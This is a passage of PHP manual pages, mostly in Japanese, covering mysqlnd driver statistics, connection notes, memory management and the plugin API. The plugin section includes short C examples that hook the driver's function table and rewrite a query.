ps_prepared_once_executed | Connection | 一度だけ実行されたプリペアドステートメントの数 | プリペアドステートメントの背後にあるアイディアのうちのひとつは、同じクエリは繰り返し繰り返し(異なるパラメーターで)実行されるんだから、ステートメントの実行が準備と実行に分かれていれば、クエリのパースやほかの準備処理はキャッシュできる、というものです。 このアイディアは準備を一度行い、その結果を キャッシュ します。たとえば解析ツリーを複数のステートメントの実行時に再利用するのです。プリペアドステートメントが一度だけしか実行されない場合、二段階に処理が分かれていることは 通常のクエリに比べて非効率かもしれません。なぜなら、すべてのキャッシュは余計なものであり、その情報を保持するためにサーバは(限られた)リソースを消費しているからです。結果的に、一度しか実行されていないプリペアドステートメントはパフォーマンスを害する原因になる可能性があります。
rows_fetched_from_server_normal, rows_fetched_from_server_ps | Connection | クライアントが消費していたかいないかに関わらず、MySQLから取得に成功した結果セット行の合計数。行によっては、クライアントアプリケーションは取得しないため暗黙のうちにフラッシュされている場合があります。 | packets_received_rset_row も参照してください
rows_buffered_from_client_normal, rows_buffered_from_client_ps | Connection | 通常のクエリ、またはプリペアドステートメントから生成された、バッファリングに成功した行の合計数。これは MySQL から取得され、クライアントにバッファリングされた行の数です。バッファリングに成功した行については、ふたつの全く別な統計値があることに注意してください。(MySQL から mysqlnd の内部バッファに)バッファリングされた行の数と、(mysqlnd の内部バッファからクライアントアプリケーションへ)取得され、バッファリングされた行の数です。バッファリングされた行数が、取得されてバッファリングされた行より多い場合、クライアントアプリケーションが必要以上に大きな結果セットを生成しているため、クライアントが読み取らない行ができてしまっている可能性があります。 | 結果をバッファリングするクエリの例: mysqli_query(), mysqli_store_result()
rows_fetched_from_client_normal_buffered, rows_fetched_from_client_ps_buffered | Connection | バッファリングされた結果セットからクライアントによって取得された行の合計数。この結果セットは通常のクエリとプリペアドステートメントの両方から生成されたものです。
rows_fetched_from_client_normal_unbuffered, rows_fetched_from_client_ps_unbuffered | Connection | バッファリングされて「いない」結果セットからクライアントによって取得された行の合計数。この結果セットは通常のクエリとプリペアドステートメントの両方から生成されたものです。
rows_fetched_from_client_ps_cursor | Connection | プリペアドステートメントによって生成されたカーソルから、クライアントが取得した行の合計数
rows_skipped_normal, rows_skipped_ps | Connection | 将来のために予約されています(今のところサポートされていません)
copy_on_write_saved, copy_on_write_performed | Process | mysqlnd では、エクステンションから返された値は mysqlnd 内部にある通信結果のバッファを指しています。開発者が値を変更しなければ、取得されたデータは一度だけメモリに保持されます。値を変更した場合、mysqlnd は 内部にある通信結果のバッファを変更から保護するために コピーオンライト を実行しなければなりません。MySQL Client Library を使うと、取得したデータを二度メモリに保持します。MySQL Client Library の内部バッファと変数の値がエクステンションによって返されるのです。理論上、mysqlnd は40%のメモリを節約できます。しかし、メモリに保持されている量は memory_get_usage()関数では計測できないことに注意してください。
explicit_free_result, implicit_free_result | Connection, Process (プリペアドステートメントのクリーンアップ時のみ) | 解放された結果セットの合計数 | ここでいう「解放」とは明示的なもので、初期化コマンドで生成された結果セットを除きます。たとえば mysqli_options(MYSQLI_INIT_COMMAND , ...) 関数の呼び出しがそれにあたります。
proto_text_fetched_null, proto_text_fetched_bit, proto_text_fetched_tinyint proto_text_fetched_short, proto_text_fetched_int24, proto_text_fetched_int proto_text_fetched_bigint, proto_text_fetched_decimal, proto_text_fetched_float proto_text_fetched_double, proto_text_fetched_date, proto_text_fetched_year proto_text_fetched_time, proto_text_fetched_datetime, proto_text_fetched_timestamp proto_text_fetched_string, proto_text_fetched_blob, proto_text_fetched_enum proto_text_fetched_set, proto_text_fetched_geometry, proto_text_fetched_other Connection 通常のクエリ(MySQL テキストプロトコル) から取得したあるタイプのカラムの合計数 C API/ MySQL のメタデータと 統計の名前の対応:

  • MYSQL_TYPE_NULL - proto_text_fetched_null

  • MYSQL_TYPE_BIT - proto_text_fetched_bit

  • MYSQL_TYPE_TINY - proto_text_fetched_tinyint

  • MYSQL_TYPE_SHORT - proto_text_fetched_short

  • MYSQL_TYPE_INT24 - proto_text_fetched_int24

  • MYSQL_TYPE_LONG - proto_text_fetched_int

  • MYSQL_TYPE_LONGLONG - proto_text_fetched_bigint

  • MYSQL_TYPE_DECIMAL, MYSQL_TYPE_NEWDECIMAL - proto_text_fetched_decimal

  • MYSQL_TYPE_FLOAT - proto_text_fetched_float

  • MYSQL_TYPE_DOUBLE - proto_text_fetched_double

  • MYSQL_TYPE_DATE, MYSQL_TYPE_NEWDATE - proto_text_fetched_date

  • MYSQL_TYPE_YEAR - proto_text_fetched_year

  • MYSQL_TYPE_TIME - proto_text_fetched_time

  • MYSQL_TYPE_DATETIME - proto_text_fetched_datetime

  • MYSQL_TYPE_TIMESTAMP - proto_text_fetched_timestamp

  • MYSQL_TYPE_STRING, MYSQL_TYPE_VARSTRING, MYSQL_TYPE_VARCHAR - proto_text_fetched_string

  • MYSQL_TYPE_TINY_BLOB, MYSQL_TYPE_MEDIUM_BLOB, MYSQL_TYPE_LONG_BLOB, MYSQL_TYPE_BLOB - proto_text_fetched_blob

  • MYSQL_TYPE_ENUM - proto_text_fetched_enum

  • MYSQL_TYPE_SET - proto_text_fetched_set

  • MYSQL_TYPE_GEOMETRY - proto_text_fetched_geometry

  • 上記にない MYSQL_TYPE_* (ないはずですが) - proto_text_fetched_other

MYSQL_*-type 定数は、 MySQL の各バージョンの同じSQLカラムタイプと結びついているとは限らないことに注意してください。

proto_binary_fetched_null, proto_binary_fetched_bit, proto_binary_fetched_tinyint proto_binary_fetched_short, proto_binary_fetched_int24, proto_binary_fetched_int, proto_binary_fetched_bigint, proto_binary_fetched_decimal, proto_binary_fetched_float, proto_binary_fetched_double, proto_binary_fetched_date, proto_binary_fetched_year, proto_binary_fetched_time, proto_binary_fetched_datetime, proto_binary_fetched_timestamp, proto_binary_fetched_string, proto_binary_fetched_blob, proto_binary_fetched_enum, proto_binary_fetched_set, proto_binary_fetched_geometry, proto_binary_fetched_other | Connection | プリペアドステートメント(MySQL バイナリプロトコル) から取得したあるタイプのカラムの合計数 | カラムタイプと統計の名前の対応は、上の proto_text_* を参照してください
MySQL Native Driver が返す統計情報: データベース接続
統計情報 | 統計のカテゴリ | 説明 | 注意点
connect_success, connect_failure | Connection | 接続を試みた結果が 成功 / 失敗 した回数の合計 | 再利用された接続や、他の種類の接続もすべて含みます
reconnect | Process | 既に開かれている接続ハンドルに対して(mysqli_real_connectを使って)行われた再接続の合計回数 | 次のコードは、再接続を行います。$link = new mysqli(...);$link->real_connect(...) しかし、次のコードは再接続を行いません。$link = new mysqli(...); $link->connect(...) なぜなら、このコードは新しい接続が確立される前に明示的に既存の接続を閉じるからです。
pconnect_success | Connection | 持続的接続を試みて成功した合計回数 | connect_success は、持続的接続と通常の接続の両方の成功数を合計している点に注意してください。通常の接続の成功数は、connect_success - pconnect_success で求められます。
active_connections | Connection | アクティブな持続的接続と通常の接続の合計値
active_persistent_connections | Connection | アクティブな持続的接続の合計値 | アクティブな通常の接続の合計値は、active_connections - active_persistent_connections で求められます。
explicit_close Connection 明示的に閉じられた接続の合計数(ext/mysqli 限定). 明示的に接続を閉じるコードの例 :
$link = new mysqli(...); $link->close(...)
$link = new mysqli(...); $link->connect(...)
implicit_close Connection 暗黙的に閉じられた接続の合計数(ext/mysqli 限定). 暗黙的に接続を閉じるコードの例 :

  • $link = new mysqli(...); $link->real_connect(...)

  • unset($link)

  • 持続的接続の場合: プールされる接続は real_connect 関数を使って作成されますが、作成されたハンドルにはどんなオプションが設定されたかわからない場合があります。この場合、暗黙のうちに接続を閉じることで、どんなオプションが設定されたかわからない接続が返されることを防いでください。

  • 持続的接続の場合: mysqli::ping や mysqli::change_user を実行すると失敗し、ext/mysqli が接続を閉じてしまいます。

  • スクリプトの実行が終了する時: ユーザーが閉じていない接続は閉じられます。

disconnect_close | Connection | 接続を試み、C API のmysql_real_connect() を呼び出した後に失敗した回数 | C API の呼び出しの際に渡された接続ハンドルを閉じるため、disconnect_close と呼ばれています。
in_middle_of_command_close | Process | コマンドの実行中(クエリを送信し、応答を受け取る前に残っていた結果セットが取得されなかったり、データを取得中だったり、LOAD DATA コマンドのデータを送信中だったりした場合)に閉じられた接続 | 非同期クエリを使っていない場合、コマンド実行中に接続が閉じられるのは、PHPスクリプトが予期しない箇所で終了し、PHPが接続を閉じた場合だけのはずです。
init_command_executed_count | Connection | 初期化コマンドが実行された合計回数。たとえば、以下のようなコードが実行された回数です。 mysqli_options(MYSQLI_INIT_COMMAND , ...) | 初期化コマンドが成功した回数は init_command_executed_count - init_command_failed_count で求められます。
init_command_failed_count | Connection | 初期化コマンドが失敗した回数
MySQL Native Driverが返す統計情報: COM_* コマンド
統計情報 統計のカテゴリ 説明 注意点
com_quit, com_init_db, com_query, com_field_list, com_create_db, com_drop_db, com_refresh, com_shutdown, com_statistics, com_process_info, com_connect, com_process_kill, com_debug, com_ping, com_time, com_delayed_insert, com_change_user, com_binlog_dump, com_table_dump, com_connect_out, com_register_slave, com_stmt_prepare, com_stmt_execute, com_stmt_send_long_data, com_stmt_close, com_stmt_reset, com_stmt_set_option, com_stmt_fetch, com_daemon Connection PHP から MySQL へ、特定の COM_* コマンドを送信しようとした合計回数

これらの統計値は、コマンドをチェックした後、対応する MySQLクライアントサーバプロトコルのパケットが送信される前にインクリメントされます。mysqlnd がパケットの送信に失敗したとしても、統計情報は減りません。パケットの送信にした場合、PHP は Error while sending %s packet. PID=%d. という、E_WARNING レベルの警告を発生させます。

使い方の例:

  • PHP があるコマンドを MySQLに送信しているかどうかをチェックする。たとえば、クライアントが COM_PROCESS_KILL を送信しているかどうかをチェックする。

  • COM_EXECUTE コマンドと COM_PREPARE コマンドの実行回数を比較することで、プリペアドステートメントの平均実行回数を割り出す。

  • COM_QUERY コマンドの実行回数がゼロかどうかをチェックすることで、PHP がプリペアドステートメントでない通常のクエリを実行しているかどうかをチェックする

  • COM_QUERY と COM_EXECUTE コマンドをチェックすることで、SQLを実行しすぎているPHPスクリプトを特定する

その他

MySQL Native Driver が返す統計情報: その他
統計情報 | 統計のカテゴリ | 説明 | 注意点
explicit_stmt_close, implicit_stmt_close | プロセス | プリペアドステートメントが閉じられた合計回数 | プリペアドステートメントは、常に明示的に閉じられるものとみなされます。ただし、prepare に失敗した場合を除きます。
mem_emalloc_count, mem_emalloc_ammount, mem_ecalloc_count, mem_ecalloc_ammount, mem_erealloc_count, mem_erealloc_ammount, mem_efree_count, mem_malloc_count, mem_malloc_ammount, mem_calloc_count, mem_calloc_ammount, mem_realloc_count, mem_realloc_ammount, mem_free_count | Process | メモリ管理に関する関数コールの回数 | 開発者だけが使うものです。
command_buffer_too_small データベース接続 PHP が MySQL にコマンドを送信する際、コマンドバッファの大きさが拡張された回数

mysqlnd は、内部的に mysqlnd.net_cmd_buffer_size(php.iniで設定) バイトを接続毎にメモリに割り当てます。MySQL のクライアントサーバプロトコルの場合、COM_QUERY (通常クエリ) コマンドがバッファサイズより大きい場合、mysqlnd はコマンドを送信するのに必要なサイズまでバッファを拡張します。ひとつの接続につきバッファが拡張された際はいつでも、command_buffer_too_small の値がひとつインクリメントされます。

mysqlnd が ほぼすべての接続で デフォルトの mysqlnd.net_cmd_buffer_size (php.ini で設定) バイトを超えてバッファを拡張しなければならない場合、メモリの再割り当てを防ぐために、デフォルトの値を増やすことを検討すべきです。

デフォルトのバッファサイズは4096バイトです。これは設定可能な最小値です。このデフォルト値は php.ini の mysqlnd.net_cmd_buffer_size を設定するか、mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size) 関数を使うことで変更することができます。

connection_reused

User Contributed Notes

There are no user contributed notes for this page.


メモ

このセクションでは、MySQL ネイティブ・ドライバの使い方についての様々なメモをまとめます。

  • mysqlnd を使うということは、 そのベースとして PHP のストリームを使って接続するということです。 mysqlnd のタイムアウト設定などの詳細に関しては、 MySQL クライアント・ライブラリのマニュアルではなく、 PHP のストリームのマニュアル (ストリーム) を参照しなければいけません。

User Contributed Notes

Les Brown 23-Feb-2010 11:04
After upgrading from php 5.2 to php 5.3 on Windows, I was unable to connect to MySQL databases on localhost. I eventually tracked the problem down to entries in my hosts file:
It contained:
127.0.0.1       localhost
[...]
::1             localhost
Commenting out the second line fixed the problem.

The problem is explained here: http://bugs.php.net/bug.php?id=50172


Memory management

Introduction

The MySQL Native Driver manages memory different than the MySQL Client Library. The libraries differ in the way memory is allocated and released, how memory is allocated in chunks while reading results from MySQL, which debug and development options exist, and how results read from MySQL are linked to PHP user variables.

The following notes are intended as an introduction and summary to users interested at understanding the MySQL Native Driver at the C code level.

Memory management functions used

All memory allocation and deallocation is done using the PHP memory management functions. Therefore, the memory consumption of mysqlnd can be tracked using PHP API calls, such as memory_get_usage(). Because memory is allocated and released using the PHP memory management, the changes may not immediately become visible at the operating system level. The PHP memory management acts as a proxy which may delay releasing memory towards the system. Due to this, comparing the memory usage of the MySQL Native Driver and the MySQL Client Library is difficult. The MySQL Client Library is using the operating system memory management calls directly, hence the effects can be observed immediately at the operating system level.

Any memory limit enforced by PHP also affects the MySQL Native Driver. This may cause out of memory errors when fetching large result sets that exceed the size of the remaining memory made available by PHP. Because the MySQL Client Library is not using PHP memory management functions, it does not comply to any PHP memory limit set. If using the MySQL Client Library, depending on the deployment model, the memory footprint of the PHP process may grow beyond the PHP memory limit. But also PHP scripts may be able to process larger result sets as parts of the memory allocated to hold the result sets are beyond the control of the PHP engine.

PHP memory management functions are invoked by the MySQL Native Driver through a lightweight wrapper. Among others, the wrapper makes debugging easier.

Handling of result sets

The various MySQL Server and the various client APIs differentiate between buffered and unbuffered result sets. Unbuffered result sets are transferred row-by-row from MySQL to the client as the client iterates over the results. Buffered results are fetched in their entirety by the client library before passing them on to the client.

The MySQL Native Driver is using PHP Streams for the network communication with the MySQL Server. Results sent by MySQL are fetched from the PHP Streams network buffers into the result buffer of mysqlnd. The result buffer is made of zvals. In a second step the results are made available to the PHP script. This final transfer from the result buffer into PHP variables impacts the memory consumption and is mostly noticeable when using buffered result sets.

By default the MySQL Native Driver tries to avoid holding buffered results twice in memory. Results are kept only once in the internal result buffers and their zvals. When results are fetched into PHP variables by the PHP script, the variables will reference the internal result buffers. Database query results are not copied and kept in memory only once. Should the user modify the contents of a variable holding the database results a copy-on-write must be performed to avoid changing the referenced internal result buffer. The contents of the buffer must not be modified because the user may decide to read the result set a second time. The copy-on-write mechanism is implemented using an additional reference management list and the use of standard zval reference counters. Copy-on-write must also be done if the user reads a result set into PHP variables and frees a result set before the variables are unset.

Generally speaking, this pattern works well for scripts that read a result set once and do not modify variables holding results. Its major drawback is the memory overhead caused by the additional reference management which comes primarily from the fact that user variables holding results cannot be entirely released until the mysqlnd reference management stops referencing them. The MySQL Native driver removes the reference to the user variables when the result set is freed or a copy-on-write is performed. An observer will see the total memory consumption grow until the result set is released. Use the statistics to check whether a script does release result sets explicitly or the driver is does implicit releases and thus memory is used for a time longer than necessary. Statistics also help to see how many copy-on-write operations happened.

A PHP script reading many small rows of a buffered result set using a code snippet equal or equivalent to while ($row = $res->fetch_assoc()) { ... } may optimize memory consumption by requesting copies instead of references. Albeit requesting copies means keeping results twice in memory, it allows PHP to free the copy contained in $row as the result set is being iterated and prior to releasing the result set itself. On a loaded server optimizing peak memory usage may help improving the overall system performance although for an individual script the copy approach may be slower due to additional allocations and memory copy operations.

The copy mode can be enforced by setting mysqlnd.fetch_data_copy=1.

Monitoring and debugging

There are multiple ways of tracking the memory usage of the MySQL Native Driver. If the goal is to get a quick high level overview or to verify the memory efficiency of PHP scripts, then check the statistics collected by the library. The statistics allow you, for example, to catch SQL statements which generate more results than are processed by a PHP script.

The debug trace log can be configured to record memory management calls. This helps to see when memory is allocated or free'd. However, the size of the requested memory chunks may not be listed.

Some, recent versions of the MySQL Native Driver feature the emulation of random out of memory situations. This feature is meant to be used by the C developers of the library or mysqlnd plugin authors only. Please, search the source code for corresponding PHP configuration settings and further details. The feature is considered private and may be modified at any time without prior notice.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver プラグインAPI

目次

  • mysqlndプラグイン と MySQL Proxyの比較
  • mysqlnd plugin APIを取得する
  • MySQL Native Driverプラグイン のアーキテクチャ
  • mysqlnd のプラグインAPI
  • mysqlndプラグインの開発をはじめよう

The MySQL Native Driver プラグインAPI は MySQL Native Driver、略して mysqlnd が持つ機能の一つです。mysqlnd プラグインは、PHPアプリケーションと MySQL サーバの間にあるレイヤで動きます。これは MySQL Proxy と比較できます。MySQL Proxy はあらゆる MySQL クライアントアプリケーション、たとえば PHPアプリケーション と MySQL サーバの間のレイヤで動きます。mysqlnd プラグインは典型的な MySQL Proxy のタスク、たとえばロードバランシングやモニタリング、パフォーマンスの最適化をこなせます。アーキテクチャや置かれる場所が異なるため、mysqlnd プラグインは MySQL Proxy が持ついくつかの欠点がありません。たとえば、プラグインを使えば、単一障害点が存在しませんし、専用のプロキシサーバをデプロイする必要もありませんし、新しいプログラミング言語(Lua) を学ぶ必要もありません。

mysqlndプラグインは mysqlndの拡張と考えることができます。プラグインは 多くの mysqlnd 関数の制御を奪い取ることができます。mysqlnd 関数は ext/mysql や ext/mysqli、PDO_MYSQL のような PHP の MySQLエクステンションによって呼び出されます。その結果として、mysqlndプラグイン はクライアントアプリケーションからこれらのエクステンションへの呼び出しの制御をすべて奪うことができるのです。

内部的な mysqlnd 関数の呼び出しも制御を奪ったり、処理を置き換えたりすることができます。mysqlnd の内部的な関数テーブルを管理することに関しても全く制限がありません。ある mysqlnd 関数が mysqlnd を使うエクステンションによって呼び出される場合に、適切な mysqlndプラグインの適切な関数に処理を転送するようにセットアップすることが可能です。このように、mysqlnd の内部関数テーブルを管理できることで、プラグインの柔軟性が最大限に発揮できるのです。

mysqlndプラグインは、実際は mysqlnd のプラグインAPI (これは MySQL Native Driver, 略して mysqlnd に組み込まれています) を使い、C言語 で書かれた PHPエクステンション です。 プラグインは PHPアプリケーションに対して 100% 透過的です。つまり、プラグインがPHPアプリケーションとは異なるレイヤで動作するため、アプリケーションを変更する必要がないのです。mysqlndプラグイン は、mysqlnd のひとつ下のレイヤで動くと考えることができます。

mysqlndプラグインで実現可能なアプリケーションのリストをいくつか以下に示します

  • ロードバランシング

    • 読み取り/書き込み の分割。例として、PECL/mysqlnd_ms (Master Slave) が挙げられます。この エクステンション は 読み取り/書き込み のクエリをレプリケーションのセットアップ向けに分割します。

    • フェイルオーバー

    • ラウンドロビン, 負荷が一番低いサーバへの転送

  • サーバの監視

    • クエリのロギング

    • クエリの分析

    • クエリの監査。例として、PECL/mysqlnd_sip (SQL Injection Protection) が挙げられます。この エクステンション はクエリを調べ、ルールセットに従って許可されたクエリのみを実行します。

  • パフォーマンスの向上

    • キャッシュ。例として、PECL/mysqlnd_qc (Query Cache) が挙げられます。

    • トラフィックの調整

    • シャーディング。例として、PECL/mysqlnd_mc (Multi Connect) が挙げられます。このエクステンション は、SELECT ステートメントを SELECT ... LIMIT part1, SELECT LIMIT part_n という形でn個に分割します。そしてクエリを別々の MySQLサーバに送り、結果をクライアント側でマージします。

利用可能な MySQL Native Driverプラグイン

既にたくさんの mysqlnd プラグインが利用可能になっています。以下が含まれます。

  • PECL/mysqlnd_mc - 複数接続ができるプラグイン

  • PECL/mysqlnd_ms - マスタースレーブ構成用のプラグイン

  • PECL/mysqlnd_qc - クエリキャッシュプラグイン

  • PECL/mysqlnd_pscache - プリペアドステートメントハンドルをキャッシュするプラグイン

  • PECL/mysqlnd_sip - SQLインジェクションから防御するためのプラグイン

  • PECL/mysqlnd_uh - ユーザーハンドラープラグイン

User Contributed Notes

There are no user contributed notes for this page.


mysqlndプラグイン と MySQL Proxyの比較

mysqlndプラグインと MySQL Proxyは、異なるアプローチを用いた異なる技術です。どちらもロードバランシングや監視、パフォーマンスの向上のような共通の様々な課題を解決するのに適したツールです。重要な違いは、MySQL Proxyがあらゆる MySQLクライアント と協調して動作するのに対して、mysqlndプラグインは PHPアプリケーション との協調動作に特化しているということです。

PHPエクステンションとして、mysqlndプラグイン はPHPの残りの部分とともに、PHPのアプリケーションサーバにインストールされます。MySQL Proxy はPHPアプリケーションサーバ上でも動作しますし、複数のPHPアプリケーションサーバを扱う専用マシンにもインストールできます。

MySQL Proxyをアプリケーションサーバにデプロイすることにはふたつの利点があります:

  1. 単一障害点がありません

  2. スケールアウトしやすい (水平方向へのスケールアウト、クライアントによるスケーリング)

MySQL Proxy (と、mysqlndプラグイン) は、他のやり方だと既存のアプリケーションを変更しなければならない問題にも容易に対処することができます。

しかし、MySQL Proxyにはいくつか欠点があります:

  • MySQL Proxy のコンポーネントと技術について新たにマスターし、デプロイしなければなりません。

  • MySQL Proxy は Lua スクリプト言語の知識が必要です。

MySQL Proxy は C言語と プログラミング言語 Lua によってカスタマイズできます。Lua は MySQL Proxy において好ましいスクリプト言語です。ほとんどのPHPエキスパートにとって、Lua は新しく学ばなければならない言語です。mysqlndプラグインは C言語で書くことができます。» PECL/mysqlnd_uh を使って、プラグインを PHP で書くこともできます。

MySQL Proxy はデーモン - バックグラウンドのプロセスとして動作します。MySQL Proxy は初期の決定を取り消すこともできますが、すべての状態を保持することできます。しかしながら mysqlndプラグインは、PHPのリクエスト単位のライフサイクルに結びついています。MySQL Proxy は一度計算された結果を複数のアプリケーションサーバで共有できます。mysqlndプラグインでこれを行うには、永続的なストレージにデータを保存する必要があります。この目的のためには Memcache のような別のデーモンが必要です。この場合は、MySQL Proxy に有利です。

MySQL Proxy は wire protocol (訳注：ネットワークを通じてデータを転送するプロトコル。» WikipediaでのWire Protocolの説明, » StackOverflow でのWire Protocolの説明) の上で動作します。MySQL Proxy を使うと、MySQLクライアントサーバプロトコルを解析し、リバースエンジニアリングしなければなりません。MySQL Proxy でできることは、通信プロトコルを管理することで達成できることに限られます。wire protocol が変更(滅多にありませんが)されると、MySQL Proxy のスクリプトも変更する必要があります。

mysqlndプラグインは C言語のAPI上で動作します。このAPIは libmysqlclientクライアント の動きをそのままコピーしています。この C言語のAPI は、 基本的に MySQLクライアントサーバプロトコル、時に wire protocol と呼ばれるもののラッパーです。開発者は C言語のAPI呼び出しの制御を奪うことができます。それゆえに、wire protocol レベルのプログラムに一切変更を加えることなく、すべてのPHP呼び出しをフックできるのです。

mysqlnd は wire protocol を実装しています。そのため、プラグインは通信プロトコルを解析し、リバースエンジニアリングし、管理できるばかりか、通信プロトコルを置き換えることだってできます。ただ、こんなことをする必要は通常ありません。

プラグインが 2つのレベル(C言語のAPI と wire protocol) を使って実装できるので、MySQL Proxy よりも大きな柔軟性を得られます。 mysqlndプラグインが C言語のAPI を使って実装されれば、wire protocol に対していかなる変更が行われても、プラグインへの変更は必要ありません。

User Contributed Notes

There are no user contributed notes for this page.


mysqlnd plugin APIを取得する

mysqlndプラグインAPI は、MySQL Native Driver PHPエクステンションである ext/mysqlnd の一部です。2009年12月に mysqlndプラグインAPI の開発がスタートしました。これは PHP のソースリポジトリの一部として開発が進められ、git経由で公開されたり、ソースコードのスナップショットがダウンロード可能になっています。

プラグインの開発者は mysqlnd のバージョンを MYSQLND_VERSION にアクセスすることで決めることができます。この値は、mysqlnd 5.0.7-dev - 091210 - $Revision: 300535 という文字列フォーマットです。MYSQLND_VERSION_ID という値にもアクセスできます。これはたとえば、50007 のような数値です。 開発者は次のようにしてバージョン番号を計算することができます:

MYSQLND_VERSION_ID 計算テーブル
Version (一部) | 例
Major*10000 | 5*10000 = 50000
Minor*100 | 0*100 = 0
Patch | 7 = 7
MYSQLND_VERSION_ID | 50007

開発している間は、開発者は mysqlnd のバージョン番号を互換性と対応バージョンのテストとして参照すべきです。PHP本体のひとつのバージョンにおける開発のライフサイクルの間に、mysqlnd の開発イテレーションは複数行われる場合があるためです。

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driverプラグイン のアーキテクチャ

このセクションでは、mysqlndプラグイン のアーキテクチャについての概要を示します。

MySQL Native Driver の概要

mysqlndプラグイン を開発する前に、mysqlnd そのものがどのように成り立っているのかを少し知っておくと役に立ちます。mysqlnd は次に示すモジュールからなります:

mysqlnd のモジュール毎のソースコードの組み合わせを示した表
モジュールの統計情報 | mysqlnd_statistics.c
データベース接続 | mysqlnd.c
結果セット | mysqlnd_result.c
結果セットのメタデータ | mysqlnd_result_meta.c
プリペアドステートメント | mysqlnd_ps.c
ネットワーク | mysqlnd_net.c
Wire protocol | mysqlnd_wireprotocol.c

C言語のオブジェクト指向パラダイム

ソースコードレベルで、mysqlnd は オブジェクト指向を実装するためのパターンを採用しています。

C言語では、オブジェクトを表現するために struct(構造体) を使います。struct のメンバがオブジェクトのプロパティを表現します。関数を指している struct のメンバがメソッドを表現します。

C++ や Java のような言語と異なり、C言語におけるオブジェクト指向のパラダイムでは決まった継承のルールがありませんが、従う必要があるルールがいくつかあります。このルールについては後に述べます。

PHP のライフサイクル

PHP のライフサイクルを考えるとき、ふたつの基本的なサイクルが存在します。

  • PHPエンジンの起動と終了までのサイクル

  • リクエスト毎のライフサイクル

PHPエンジンが起動するとき、PHP はモジュールを初期化する (MINIT) 関数を登録されたエクステンションごとに呼び出します。これによって、各々のモジュールが PHPエンジンが処理を行うライフサイクルの間存在するリソースを割り当てたり、変数を定義することができます。PHPエンジンが終了するときには、 エンジンが終了(MSHUTDOWN)関数をエクステンション毎に呼び出します。

PHPエンジンが起動している間、エンジンはたくさんのリクエストを受けとります。それぞれのリクエストは別のライフサイクルを構成します。リクエスト毎にPHPエンジンはリクエストの初期化関数をエクステンション毎に呼び出します。エクステンション側では、リクエストの処理に必要な変数の定義やリソースの割り当てを行うことができます。リクエストのサイクルが終了するときは、PHPエンジンがリクエストの終了(RSHUTDOWN)関数をエクステンション毎に呼び出します。これによって、エクステンションは必要となるあらゆるクリーンアップ処理を行うことができます。

プラグインはどうやって動くか

mysqlndプラグイン は mysqlnd を使うエクステンションが mysqlnd を呼び出すときの制御を奪うことによって動作します。これは mysqlnd の関数テーブルを取得し、バックアップし、カスタムの関数テーブルと置き換えることによって実現されます。この関数テーブルが、プラグインが必要とする関数を呼び出すのです。

次のコードは、mysqlnd の関数テーブルを置き換える方法を示しています:

/* a place to store original function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* active function table */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

  /* backup original function table */
  memcpy(&org_methods, current_methods,
    sizeof(struct st_mysqlnd_conn_methods);

  /* install new methods */
  current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

接続関数テーブルの管理は、モジュールを初期化(MINIT)している間に行わなければなりません。関数テーブルはグローバルに共有されるリソースです。マルチスレッド環境で、TSRMを有効にしてPHPをビルドした環境では、グローバルに共有されたリソースをリクエストを処理している間に操作すると、ほぼ確実に衝突が起こります。

注意:

mysqlnd の関数テーブルを管理するときに、固定サイズを割り当てるロジックは絶対に使わないでください。新しいメソッドが関数テーブルの最後に追加される可能性があるからです。関数テーブルは将来どんな場合でも変更される可能性があります。

親クラスのメソッドを呼び出す

オリジナルの関数テーブルをバックアップしている場合、オリジナルの関数テーブルのエントリに含まれる関数を呼び出すことができます - これが親メソッドです。

場合によっては、Connection::stmt_init() のように、派生メソッドで他のあらゆる処理より先に親メソッドを呼び出すことが決定的に重要な場合があります。

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

  php_printf("my_conn_class::query(query = %s)\n", query);

  query = "SELECT 'query rewritten' FROM DUAL";
  query_len = strlen(query);

  return org_methods.query(conn, query, query_len); /* return with call to parent */
}

プロパティを拡張する

mysqlndオブジェクトは C言語の構造体で表現されます。実行時に、C言語の構造体に新たにメンバを追加することは不可能です。mysqlndオブジェクト のユーザーは、プロパティを単純にオブジェクトに追加することはできません。

mysqlnd_plugin_get_plugin_<object>_data()ファミリーの適切な関数を使って、任意のデータ (プロパティ) を mysqlnd オブジェクトに追加することができます。オブジェクトをメモリに割り付ける際に、mysqlnd はオブジェクトの最後に 任意のデータ向けの void * ポインタを保持するためのメモリ空間を予約しておきます。 mysqlnd は プラグインひとつにつき、ひとつの void *ポインタ を保持する空間を予約しています。

次の表で、特定のプラグインでポインタの位置を計算する方法を示します:

mysqlnd のポインタの位置を計算する方法
メモリアドレス | メモリの内容
0 | mysqlndオブジェクト を表現する構造体の開始
n | mysqlndオブジェクト を表現する構造体の終了
n + (m x sizeof(void*)) | m 番目のプラグインのオブジェクトデータを表現する void* ポインタ

mysqlndオブジェクト のコンストラクタを継承する計画がある場合、それが許可されていることを必ず頭にいれておいてください！

次のコードはプロパティを拡張する方法を示しています:

/* any data we want to associate */
typedef struct my_conn_properties {
  unsigned long query_counter;
} MY_CONN_PROPERTIES;

/* plugin id */
unsigned int my_plugin_id;

void minit_register_hooks(TSRMLS_D) {
  /* obtain unique plugin ID */
  my_plugin_id = mysqlnd_plugin_register();
  /* snip - see Extending Connection: methods */
}

static MY_CONN_PROPERTIES** get_conn_properties(const MYSQLND *conn TSRMLS_DC) {
  MY_CONN_PROPERTIES** props;
  props = (MY_CONN_PROPERTIES**)mysqlnd_plugin_get_plugin_connection_data(
    conn, my_plugin_id);
  if (!props || !(*props)) {
    *props = mnd_pecalloc(1, sizeof(MY_CONN_PROPERTIES), conn->persistent);
    (*props)->query_counter = 0;
  }
  return props;
}

プラグインの開発者には、プラグイン用のデータに使われるメモリを管理する責任があります。

mysqlnd のメモリアロケータを使うことを推奨します。これらのメモリアロケータ関数は次のような規約に従って命名されています: mnd_*loc() mysqlnd のメモリアロケーターには役に立つ機能がいくつかあります。たとえばデバッグビルドでない環境でデバッグ用のアロケータを使う機能などです。

いつ、どのように継承するか
 | いつ継承するか? | 各々のインスタンスが自分のプライベートな関数テーブルを持っているか? | どのように継承するか?
